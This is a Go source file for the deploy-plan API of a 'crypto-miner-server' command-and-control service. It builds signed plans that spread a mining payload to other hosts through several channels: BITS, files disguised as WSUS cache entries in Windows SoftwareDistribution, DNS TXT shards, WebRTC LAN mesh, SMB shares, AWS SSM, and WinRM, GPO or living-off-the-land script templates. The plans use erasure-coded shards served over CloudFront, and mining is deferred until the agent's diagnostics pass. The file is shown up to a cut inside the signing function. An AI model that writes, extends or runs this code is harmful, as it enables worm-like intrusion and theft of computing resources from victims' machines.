Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Operators configure bucket and CloudFront domain with env credentials; deploy plans upload RS 4+2 shards and attach signed edge URLs to BGP swarm magnets. Agents fetch LAN, CloudFront, then C2. Forge panel adds test and IAM policy JSON.
894 lines
27 KiB
Go
894 lines
27 KiB
Go
package api
|
||
|
||
import (
|
||
"context"
|
||
"crypto/hmac"
|
||
"crypto/sha256"
|
||
"encoding/hex"
|
||
"encoding/json"
|
||
"fmt"
|
||
"io"
|
||
"net/http"
|
||
"os"
|
||
"path/filepath"
|
||
"strings"
|
||
|
||
dbpkg "crypto-miner-server/internal/db"
|
||
"crypto-miner-server/internal/cloudmap"
|
||
"crypto-miner-server/internal/erasure"
|
||
"crypto-miner-server/internal/models"
|
||
"crypto-miner-server/internal/spreadrouter"
|
||
)
|
||
|
||
// StagingManifest mirrors agent/deploy.StagingManifest for signed supply-chain plans.
|
||
type StagingManifest struct {
|
||
Method string `json:"method"`
|
||
Chunks []StagingChunk `json:"chunks"`
|
||
SHA256 string `json:"sha256"`
|
||
Dest string `json:"dest"`
|
||
Launch string `json:"launch"`
|
||
DLLExport string `json:"dll_export,omitempty"`
|
||
Encoded bool `json:"encoded"`
|
||
DeferMining bool `json:"defer_mining,omitempty"`
|
||
SpreadInstall bool `json:"spread_install,omitempty"`
|
||
PeerGroup string `json:"peer_group,omitempty"`
|
||
CacheGroup string `json:"cache_group,omitempty"`
|
||
DNSZone string `json:"dns_zone,omitempty"`
|
||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||
}
|
||
|
||
// WebRTCMeshPlanBody is LAN WebRTC seed policy attached to signed deploy plans.
|
||
type WebRTCMeshPlanBody struct {
|
||
STUNServers []string `json:"stun_servers,omitempty"`
|
||
SignalingRelay string `json:"signaling_relay,omitempty"`
|
||
LANFallbackURL string `json:"lan_fallback_url,omitempty"`
|
||
SeederAgentID string `json:"seeder_agent_id,omitempty"`
|
||
RotationHours int `json:"rotation_hours,omitempty"`
|
||
IsSeeder bool `json:"is_seeder,omitempty"`
|
||
}
|
||
|
||
type StagingChunk struct {
|
||
URL string `json:"url"`
|
||
File string `json:"file"`
|
||
Record string `json:"record,omitempty"`
|
||
Index int `json:"index,omitempty"`
|
||
}
|
||
|
||
// DeployPlanBody is HMAC-signed and executed by the agent discover_and_join command.
|
||
type DeployPlanBody struct {
|
||
JoinLane string `json:"join_lane"`
|
||
MatchedService string `json:"matched_service,omitempty"`
|
||
Action string `json:"action"`
|
||
Manifest *StagingManifest `json:"manifest,omitempty"`
|
||
PeerGroup string `json:"peer_group,omitempty"`
|
||
CacheGroup string `json:"cache_group,omitempty"`
|
||
DNSTXTZone string `json:"dns_txt_zone,omitempty"`
|
||
DNSTXTRecords []string `json:"dns_txt_records,omitempty"`
|
||
DNSTXTShards []int `json:"dns_txt_shards,omitempty"`
|
||
TTLRefreshSec int `json:"ttl_refresh_sec,omitempty"`
|
||
WebRTCMesh *WebRTCMeshPlanBody `json:"webrtc_mesh,omitempty"`
|
||
Script string `json:"script,omitempty"`
|
||
UNCPath string `json:"unc_path,omitempty"`
|
||
MaxHosts int `json:"max_hosts,omitempty"`
|
||
ImageTarURL string `json:"image_tar_url,omitempty"`
|
||
ImageTarSHA256 string `json:"image_tar_sha256,omitempty"`
|
||
SpreadRouteHint *spreadrouter.SpreadRouteHint `json:"spread_route_hint,omitempty"`
|
||
ErasurePlan *erasure.Plan `json:"erasure_plan,omitempty"`
|
||
SSMDocument string `json:"ssm_document,omitempty"`
|
||
}
|
||
|
||
type deployPlanRequest struct {
|
||
AgentID string `json:"agent_id"`
|
||
BuildID string `json:"build_id,omitempty"`
|
||
Campaign string `json:"campaign,omitempty"`
|
||
Platform string `json:"platform"`
|
||
Services []DeployServiceFinding `json:"services"`
|
||
UNCPath string `json:"unc_path,omitempty"`
|
||
WSUSFormatMimic *bool `json:"wsus_format_mimic,omitempty"`
|
||
}
|
||
|
||
type deployPlanResponse struct {
|
||
OK bool `json:"ok"`
|
||
Error string `json:"error,omitempty"`
|
||
JoinLane string `json:"join_lane"`
|
||
MatchedService string `json:"matched_service,omitempty"`
|
||
Plan DeployPlanBody `json:"plan"`
|
||
Signature string `json:"signature"`
|
||
}
|
||
|
||
// DeployPlanHandler builds hash-verified, HMAC-signed join plans from service discovery.
|
||
type DeployPlanHandler struct {
|
||
db *dbpkg.Database
|
||
dataDir string
|
||
projectRoot string
|
||
publicURL func() string
|
||
fleetSecret func() string
|
||
allowlist func() map[string]ServiceDeployLane
|
||
pathTracer *PathTracerHandler
|
||
erasureEnabled func() bool
|
||
erasureShards *erasure.ShardStore
|
||
awsSwarmSettings func() erasure.AWSSwarmSettings
|
||
awsShardStore func(erasure.AWSSwarmSettings) erasure.ShardObjectStore
|
||
}
|
||
|
||
func NewDeployPlanHandler(database *dbpkg.Database, dataDir, projectRoot string, publicURL, fleetSecret func() string, allowlist func() map[string]ServiceDeployLane) *DeployPlanHandler {
|
||
return &DeployPlanHandler{
|
||
db: database,
|
||
dataDir: dataDir,
|
||
projectRoot: projectRoot,
|
||
publicURL: publicURL,
|
||
fleetSecret: fleetSecret,
|
||
allowlist: allowlist,
|
||
}
|
||
}
|
||
|
||
// BindPathTracer wires Path Tracer sessions into spread-route recommendations.
|
||
func (h *DeployPlanHandler) BindPathTracer(handler *PathTracerHandler) {
|
||
h.pathTracer = handler
|
||
}
|
||
|
||
// BindErasure wires Reed–Solomon shard encoding for multi-lane deploy plans.
|
||
func (h *DeployPlanHandler) BindErasure(enabled func() bool, store *erasure.ShardStore) {
|
||
h.erasureEnabled = enabled
|
||
h.erasureShards = store
|
||
}
|
||
|
||
// BindErasureFromHub reads erasure_lanes_enabled from live server policy snapshots.
|
||
func (h *DeployPlanHandler) BindErasureFromHub(hub *WSHub, store *erasure.ShardStore) {
|
||
h.erasureShards = store
|
||
if hub == nil {
|
||
return
|
||
}
|
||
h.erasureEnabled = func() bool { return hub.serverPolicySnapshot().ErasureLanesEnabled }
|
||
}
|
||
|
||
func (h *DeployPlanHandler) BindAWSErasureSwarm(settings func() erasure.AWSSwarmSettings, store func(erasure.AWSSwarmSettings) erasure.ShardObjectStore) {
|
||
h.awsSwarmSettings = settings
|
||
h.awsShardStore = store
|
||
}
|
||
|
||
// POST /api/v1/agent/deploy-plan
|
||
func (h *DeployPlanHandler) PostDeployPlan(w http.ResponseWriter, r *http.Request) {
|
||
var req deployPlanRequest
|
||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||
http.Error(w, "invalid JSON", http.StatusBadRequest)
|
||
return
|
||
}
|
||
if len(req.Services) == 0 {
|
||
http.Error(w, "services required", http.StatusBadRequest)
|
||
return
|
||
}
|
||
|
||
list := map[string]ServiceDeployLane{}
|
||
if h.allowlist != nil {
|
||
list = h.allowlist()
|
||
}
|
||
matched, lane, ok := PickDeployLane(req.Services, list)
|
||
if !ok {
|
||
writeJSON(w, map[string]interface{}{
|
||
"ok": false,
|
||
"error": "no allowlisted running services matched",
|
||
"checked": len(req.Services),
|
||
})
|
||
return
|
||
}
|
||
|
||
plan, err := h.buildPlan(req, matched, lane)
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
sig, err := signDeployPlan(plan, h.fleetSecret())
|
||
if err != nil {
|
||
http.Error(w, err.Error(), http.StatusInternalServerError)
|
||
return
|
||
}
|
||
|
||
writeJSON(w, deployPlanResponse{
|
||
OK: true,
|
||
JoinLane: plan.JoinLane,
|
||
MatchedService: matched,
|
||
Plan: plan,
|
||
Signature: sig,
|
||
})
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildPlan(req deployPlanRequest, matched string, lane ServiceDeployLane) (DeployPlanBody, error) {
|
||
serverURL := strings.TrimRight(strings.TrimSpace(h.publicURL()), "/")
|
||
if serverURL == "" {
|
||
serverURL = "http://127.0.0.1:8989"
|
||
}
|
||
|
||
body := DeployPlanBody{
|
||
JoinLane: lane.Lane,
|
||
MatchedService: matched,
|
||
Action: lane.Lane,
|
||
}
|
||
|
||
switch lane.Lane {
|
||
case "do_peer":
|
||
manifest, err := h.buildDOPeerManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.PeerGroup = manifest.PeerGroup
|
||
case "wsus_cache_peer":
|
||
manifest, err := h.buildWSUSCachePeerManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.CacheGroup = manifest.CacheGroup
|
||
case "dns_txt":
|
||
manifest, zone, records, shards, ttl, err := h.buildDNSTXTManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.DNSTXTZone = zone
|
||
body.DNSTXTRecords = records
|
||
body.DNSTXTShards = shards
|
||
body.TTLRefreshSec = ttl
|
||
case "webrtc_mesh":
|
||
manifest, mesh, err := h.buildWebRTCMeshManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.WebRTCMesh = mesh
|
||
case "bits_curl":
|
||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
case "docker_load":
|
||
manifest, err := h.buildStagingManifest(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Manifest = manifest
|
||
body.ImageTarURL = serverURL + "/api/v1/public/download/" + strings.TrimSpace(req.BuildID)
|
||
if body.ImageTarURL != "" && req.BuildID != "" {
|
||
if hash, err := h.buildFileSHA256(req.BuildID, req.Platform); err == nil && hash != "" {
|
||
body.ImageTarSHA256 = hash
|
||
}
|
||
}
|
||
case "winrm", "gpo", "linux_lotl":
|
||
tpl := strings.TrimSpace(lane.Template)
|
||
if tpl == "" {
|
||
tpl = lane.Lane
|
||
}
|
||
script, err := h.renderSpreadTemplate(tpl, serverURL, req.BuildID, req.Campaign)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.Script = script
|
||
case "spread_smb_unc":
|
||
body.UNCPath = strings.TrimSpace(req.UNCPath)
|
||
body.MaxHosts = 64
|
||
case "ssm_document":
|
||
bundle, err := h.buildSSMSpreadBundle(req, serverURL)
|
||
if err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
body.SSMDocument = bundle.Document
|
||
default:
|
||
return DeployPlanBody{}, fmt.Errorf("unsupported join lane %q", lane.Lane)
|
||
}
|
||
body.SpreadRouteHint = h.recommendSpreadRoute(req, lane.Lane)
|
||
h.attachCloudMapRouteVia(&body)
|
||
if err := h.attachErasurePlan(req, serverURL, &body); err != nil {
|
||
return DeployPlanBody{}, err
|
||
}
|
||
return body, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) attachErasurePlan(req deployPlanRequest, serverURL string, body *DeployPlanBody) error {
|
||
if h.erasureEnabled == nil || !h.erasureEnabled() || h.erasureShards == nil || body == nil {
|
||
return nil
|
||
}
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
payload, err := os.ReadFile(build.FilePath)
|
||
if err != nil {
|
||
return fmt.Errorf("erasure read build: %w", err)
|
||
}
|
||
dest := `%TEMP%\AetherForge\worker.exe`
|
||
launch := "exe"
|
||
dllExport := ""
|
||
if body.Manifest != nil {
|
||
if body.Manifest.Dest != "" {
|
||
dest = body.Manifest.Dest
|
||
}
|
||
if body.Manifest.Launch != "" {
|
||
launch = body.Manifest.Launch
|
||
}
|
||
dllExport = body.Manifest.DLLExport
|
||
}
|
||
deferMining := true
|
||
spreadInstall := true
|
||
if body.Manifest != nil {
|
||
deferMining = body.Manifest.DeferMining
|
||
spreadInstall = body.Manifest.SpreadInstall
|
||
}
|
||
plan, err := erasure.BuildPlan(
|
||
h.erasureShards, serverURL, buildID, req.Campaign, payload,
|
||
dest, launch, dllExport, deferMining, spreadInstall,
|
||
)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
body.ErasurePlan = plan
|
||
if body.SpreadRouteHint != nil {
|
||
body.SpreadRouteHint.ErasureLanesEnabled = true
|
||
}
|
||
shards := shardsFromStore(h.erasureShards, plan.ShardToken)
|
||
hashes := erasure.ShardContentHashes(shards)
|
||
if h.awsSwarmSettings != nil && h.awsShardStore != nil {
|
||
cfg := h.awsSwarmSettings()
|
||
if cfg.Enabled() && cfg.CredentialsReady() && cfg.SigningReady() {
|
||
result, err := erasure.AttachS3Swarm(context.Background(), cfg, h.awsShardStore(cfg), plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, shards, hashes)
|
||
if err != nil {
|
||
return err
|
||
}
|
||
if result != nil {
|
||
for i := range plan.Shards {
|
||
if i < len(result.EdgeURLs) {
|
||
plan.Shards[i].EdgeURL = result.EdgeURLs[i]
|
||
}
|
||
}
|
||
if body.SpreadRouteHint == nil {
|
||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||
}
|
||
body.SpreadRouteHint.SwarmMagnet = result.SwarmMagnet
|
||
body.SpreadRouteHint.ShardManifestURLs = result.ShardManifestURLs
|
||
}
|
||
}
|
||
}
|
||
if body.SpreadRouteHint == nil || body.SpreadRouteHint.SwarmMagnet == "" {
|
||
if manifest, err := erasure.BuildTorrentManifest(serverURL, plan.ShardToken, plan.PayloadSHA256, plan.PayloadSize, erasure.Params{DataShards: plan.DataShards, ParityShards: plan.ParityShards}, hashes); err == nil && manifest != nil {
|
||
if body.SpreadRouteHint == nil {
|
||
body.SpreadRouteHint = &spreadrouter.SpreadRouteHint{}
|
||
}
|
||
if body.SpreadRouteHint.SwarmMagnet == "" {
|
||
body.SpreadRouteHint.SwarmMagnet = manifest.SwarmMagnet
|
||
}
|
||
if len(body.SpreadRouteHint.ShardManifestURLs) == 0 {
|
||
body.SpreadRouteHint.ShardManifestURLs = manifest.ShardManifestURLs
|
||
}
|
||
}
|
||
}
|
||
return nil
|
||
}
|
||
|
||
func shardsFromStore(store *erasure.ShardStore, token string) [][]byte {
|
||
if store == nil || token == "" {
|
||
return nil
|
||
}
|
||
p, ok := store.ParamsFor(token)
|
||
if !ok {
|
||
return nil
|
||
}
|
||
total := p.TotalShards()
|
||
out := make([][]byte, total)
|
||
for i := 0; i < total; i++ {
|
||
if sh, ok := store.Get(token, i); ok {
|
||
out[i] = sh
|
||
}
|
||
}
|
||
return out
|
||
}
|
||
|
||
func (h *DeployPlanHandler) recommendSpreadRoute(req deployPlanRequest, joinLane string) *spreadrouter.SpreadRouteHint {
|
||
if h.pathTracer == nil {
|
||
return nil
|
||
}
|
||
patientID := strings.TrimSpace(req.AgentID)
|
||
targets := spreadRouteTargetSubnets(h.pathTracer, h.db, patientID)
|
||
if len(targets) == 0 {
|
||
return nil
|
||
}
|
||
var best *spreadrouter.SpreadRouteHint
|
||
for _, target := range targets {
|
||
if hint := h.pathTracer.RecommendSpreadRoute(target, joinLane, patientID); hint != nil {
|
||
if best == nil || hint.Score > best.Score {
|
||
dup := *hint
|
||
best = &dup
|
||
}
|
||
}
|
||
}
|
||
return best
|
||
}
|
||
|
||
func spreadRouteTargetSubnets(pathTracer *PathTracerHandler, database *dbpkg.Database, agentID string) []string {
|
||
seen := make(map[string]bool)
|
||
var out []string
|
||
add := func(sub string) {
|
||
sub = spreadrouter.NormalizeSubnet(sub)
|
||
if sub == "" || seen[sub] {
|
||
return
|
||
}
|
||
seen[sub] = true
|
||
out = append(out, sub)
|
||
}
|
||
if database != nil && agentID != "" {
|
||
if ag, err := database.GetAgent(agentID); err == nil && ag != nil {
|
||
add(spreadrouter.SubnetFromIP(ag.IP))
|
||
}
|
||
}
|
||
for _, sess := range traceSessionsSnapshot(pathTracer) {
|
||
if sess == nil {
|
||
continue
|
||
}
|
||
patientInChain := false
|
||
for _, hop := range sess.Hops {
|
||
if hop != nil && hop.AgentID == agentID {
|
||
patientInChain = true
|
||
add(spreadrouter.SubnetFromIP(hop.ExternalIP))
|
||
break
|
||
}
|
||
}
|
||
if !patientInChain && agentID != "" {
|
||
continue
|
||
}
|
||
for _, host := range serviceGraphList(sess.ServiceGraph) {
|
||
add(host.Subnet)
|
||
add(spreadrouter.SubnetFromIP(host.Host))
|
||
}
|
||
}
|
||
return out
|
||
}
|
||
|
||
// buildDOPeerManifest stages hash-verified chunks via BITS peer-style transfer.
|
||
// Deploy success is a spread step only — agent keeps --defer-mining until diagnostics pass,
|
||
// then startMiningWhenReady() completes the mining onion (terminal goal).
|
||
func (h *DeployPlanHandler) buildDOPeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
peerGroup := "af-peer-" + hash[:8]
|
||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||
peerGroup = "af-peer-" + sanitizeDeployToken(campaign)
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\do-peer-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\do-peer-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: "bits",
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
PeerGroup: peerGroup,
|
||
}, nil
|
||
}
|
||
|
||
// buildWSUSCachePeerManifest stages hash-verified chunks beside SoftwareDistribution\Download.
|
||
func (h *DeployPlanHandler) buildWSUSCachePeerManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
chunkFile := filepath.Base(build.FileName)
|
||
if wsusFormatMimicEnabled(req.WSUSFormatMimic) {
|
||
chunkFile = wsusFormatMimicChunkName(hash, 0)
|
||
if !strings.Contains(downloadURL, "wsus_wrap=1") {
|
||
if strings.Contains(downloadURL, "?") {
|
||
downloadURL += "&wsus_wrap=1"
|
||
} else {
|
||
downloadURL += "?wsus_wrap=1"
|
||
}
|
||
}
|
||
}
|
||
cacheGroup := "af-wsus-" + hash[:8]
|
||
if campaign := strings.TrimSpace(req.Campaign); campaign != "" {
|
||
cacheGroup = "af-wsus-" + sanitizeDeployToken(campaign)
|
||
}
|
||
|
||
dest := `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%WINDIR%\SoftwareDistribution\Download\af-cache\wsus-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: "bits",
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: chunkFile}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
CacheGroup: cacheGroup,
|
||
}, nil
|
||
}
|
||
|
||
func wsusFormatMimicEnabled(flag *bool) bool {
|
||
if flag == nil {
|
||
return true
|
||
}
|
||
return *flag
|
||
}
|
||
|
||
// buildDNSTXTManifest returns TXT shard records + embedded chunk API fallback URLs for tests.
|
||
func (h *DeployPlanHandler) buildDNSTXTManifest(req deployPlanRequest, serverURL string) (*StagingManifest, string, []string, []int, int, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, "", nil, nil, 0, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, "", nil, nil, 0, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
zone := h.dnsTXTZone()
|
||
records := []string{
|
||
"_aether.shard0." + zone,
|
||
"_aether.shard1." + zone,
|
||
}
|
||
shards := []int{0, 1}
|
||
ttl := 300
|
||
|
||
chunks := make([]StagingChunk, len(records))
|
||
for i, rec := range records {
|
||
chunks[i] = StagingChunk{
|
||
Record: rec,
|
||
Index: shards[i],
|
||
File: fmt.Sprintf("shard-%d.b64", shards[i]),
|
||
URL: serverURL + "/api/v1/public/dns-txt/" + sanitizeDeployToken(rec),
|
||
}
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\dns-txt-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\dns-txt-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
manifest := &StagingManifest{
|
||
Method: "dns_txt",
|
||
Chunks: chunks,
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
DNSZone: zone,
|
||
TTLRefreshSec: ttl,
|
||
}
|
||
return manifest, zone, records, shards, ttl, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) dnsTXTZone() string {
|
||
zone := "internal"
|
||
if h.allowlist != nil {
|
||
_ = h.allowlist()
|
||
}
|
||
if h.dataDir != "" {
|
||
cfgPath := filepath.Join(h.dataDir, "config.json")
|
||
if data, err := os.ReadFile(cfgPath); err == nil {
|
||
var payload struct {
|
||
Server struct {
|
||
DNSZone string `json:"dns_zone"`
|
||
} `json:"server"`
|
||
}
|
||
if json.Unmarshal(data, &payload) == nil && strings.TrimSpace(payload.Server.DNSZone) != "" {
|
||
zone = strings.TrimSpace(payload.Server.DNSZone)
|
||
}
|
||
}
|
||
}
|
||
return zone
|
||
}
|
||
|
||
// buildWebRTCMeshManifest returns LAN seed manifest metadata; payload bytes stay on subnet.
|
||
func (h *DeployPlanHandler) buildWebRTCMeshManifest(req deployPlanRequest, serverURL string) (*StagingManifest, *WebRTCMeshPlanBody, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
fallbackURL := serverURL + "/api/v1/public/webrtc-mesh/manifest" + strings.TrimPrefix(getQuerySuffix, "&")
|
||
if !strings.Contains(fallbackURL, "?") && strings.TrimPrefix(getQuerySuffix, "&") != "" {
|
||
fallbackURL = serverURL + "/api/v1/public/webrtc-mesh/manifest?" + strings.TrimPrefix(getQuerySuffix, "&")
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\webrtc-mesh-worker.exe`
|
||
launch := "exe"
|
||
if strings.HasSuffix(strings.ToLower(build.FileName), ".dll") {
|
||
dest = `%TEMP%\AetherForge\webrtc-mesh-worker.dll`
|
||
launch = "rundll32"
|
||
}
|
||
|
||
manifest := &StagingManifest{
|
||
Method: "webrtc_mesh",
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: launch,
|
||
DLLExport: "DllRegisterServer",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
}
|
||
mesh := &WebRTCMeshPlanBody{
|
||
STUNServers: []string{"stun:stun.l.google.com:19302"},
|
||
SignalingRelay: strings.TrimRight(serverURL, "/") + "/ws/webrtc-relay",
|
||
LANFallbackURL: fallbackURL,
|
||
SeederAgentID: strings.TrimSpace(req.AgentID),
|
||
RotationHours: 24,
|
||
}
|
||
return manifest, mesh, nil
|
||
}
|
||
|
||
func sanitizeDeployToken(s string) string {
|
||
s = strings.ToLower(strings.TrimSpace(s))
|
||
var b strings.Builder
|
||
for _, r := range s {
|
||
if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '-' {
|
||
b.WriteRune(r)
|
||
}
|
||
}
|
||
out := b.String()
|
||
if out == "" {
|
||
return "local"
|
||
}
|
||
if len(out) > 24 {
|
||
return out[:24]
|
||
}
|
||
return out
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildStagingManifest(req deployPlanRequest, serverURL string) (*StagingManifest, error) {
|
||
platform := strings.TrimSpace(req.Platform)
|
||
if platform == "" {
|
||
platform = "windows"
|
||
}
|
||
buildID := strings.TrimSpace(req.BuildID)
|
||
build, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
hash, err := fileSHA256(build.FilePath)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("build hash: %w", err)
|
||
}
|
||
|
||
_, getQuerySuffix := buildQuerySuffix(buildID, req.Campaign)
|
||
downloadURL := serverURL + "/get?os=" + platform + getQuerySuffix
|
||
|
||
method := "bits"
|
||
if platform == "linux" || platform == "darwin" {
|
||
method = "curl"
|
||
}
|
||
|
||
dest := `%TEMP%\AetherForge\worker.exe`
|
||
if platform == "linux" {
|
||
dest = "/tmp/aetherforge-worker"
|
||
}
|
||
|
||
return &StagingManifest{
|
||
Method: method,
|
||
Chunks: []StagingChunk{{URL: downloadURL, File: filepath.Base(build.FileName)}},
|
||
SHA256: hash,
|
||
Dest: dest,
|
||
Launch: "exe",
|
||
DeferMining: true,
|
||
SpreadInstall: true,
|
||
}, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) resolveBuild(buildID, platform string) (*models.BuildRecord, error) {
|
||
if buildID != "" {
|
||
b, err := h.db.GetBuild(buildID)
|
||
if err != nil {
|
||
return nil, err
|
||
}
|
||
return b, nil
|
||
}
|
||
b, err := h.db.GetLatestBuildForPlatform(platform)
|
||
if err != nil {
|
||
return nil, fmt.Errorf("no build for platform %q: %w", platform, err)
|
||
}
|
||
return b, nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) buildFileSHA256(buildID, platform string) (string, error) {
|
||
b, err := h.resolveBuild(buildID, platform)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
return fileSHA256(b.FilePath)
|
||
}
|
||
|
||
func fileSHA256(path string) (string, error) {
|
||
f, err := os.Open(path)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
defer f.Close()
|
||
h := sha256.New()
|
||
if _, err := io.Copy(h, f); err != nil {
|
||
return "", err
|
||
}
|
||
return hex.EncodeToString(h.Sum(nil)), nil
|
||
}
|
||
|
||
func (h *DeployPlanHandler) renderSpreadTemplate(template, serverURL, buildID, campaign string) (string, error) {
|
||
subdir, _, err := spreadTemplatePaths(template)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
dir := filepath.Join(h.projectRoot, "templates", "spread", subdir)
|
||
entries, err := os.ReadDir(dir)
|
||
if err != nil {
|
||
return "", fmt.Errorf("template dir: %w", err)
|
||
}
|
||
var scriptFile string
|
||
for _, e := range entries {
|
||
if e.IsDir() {
|
||
continue
|
||
}
|
||
name := e.Name()
|
||
if strings.HasSuffix(name, ".ps1") || strings.HasSuffix(name, ".sh") {
|
||
scriptFile = filepath.Join(dir, name)
|
||
break
|
||
}
|
||
}
|
||
if scriptFile == "" {
|
||
return "", fmt.Errorf("no script in template %s", subdir)
|
||
}
|
||
data, err := os.ReadFile(scriptFile)
|
||
if err != nil {
|
||
return "", err
|
||
}
|
||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||
repl := map[string]string{
|
||
"{{SERVER_URL}}": serverURL,
|
||
"{{BUILD_ID}}": buildID,
|
||
"{{CAMPAIGN}}": campaign,
|
||
"{{QUERY_SUFFIX}}": querySuffix,
|
||
"{{GET_QUERY_SUFFIX}}": getQuerySuffix,
|
||
"{{COM_HIJACK}}": "false",
|
||
"{{LOTL_MODE}}": "systemd_run_user",
|
||
"{{AGENT_PATH}}": `C:\ProgramData\AetherForge\worker.exe`,
|
||
}
|
||
content := string(data)
|
||
for k, v := range repl {
|
||
content = strings.ReplaceAll(content, k, v)
|
||
}
|
||
return content, nil
|
||
}
|
||
|
||
func signDeployPlan(plan DeployPlanBody, fleetSecret string) (string, error) {
|
||
if fleetSecret == "" {
|
||
return "", fmt.Errorf("fleet secret not configured")
|
||
}
|
